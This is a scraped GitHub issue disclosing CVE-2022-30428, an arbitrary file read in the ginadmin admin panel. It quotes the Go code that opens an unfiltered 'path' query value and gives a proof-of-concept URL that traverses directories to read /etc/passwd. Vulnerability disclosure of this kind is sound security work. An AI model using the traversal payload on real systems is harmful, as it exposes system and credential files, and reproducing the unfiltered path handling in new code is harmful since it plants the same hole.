Headline
CVE-2022-30428: Read Any File Vulnerability · Issue #9 · gphper/ginadmin
In ginadmin through 05-10-2022, the incoming path value is not filtered, resulting in arbitrary file reading.
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Comments
Vulnerability file address
internal/controllers/admin/setting/adminSystemController.go line 135 c.Query(“path”)The incoming path value is not filtered, resulting in arbitrary file reading
filePath := gstrings.JoinStr(configs.RootPath, c.Query("path"))
fi, err := os.Open(filePath)
if err != nil {
con.ErrorHtml(c, err)
return
}
POC
http://ip:port/admin/setting/system/view?path=…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/…/etc/passwd
Attack results pictures
gphper added a commit that referenced this issue
May 8, 2022
2 participants
Related news
In ginadmin through 05-10-2022, the incoming path value is not filtered, resulting in arbitrary file reading.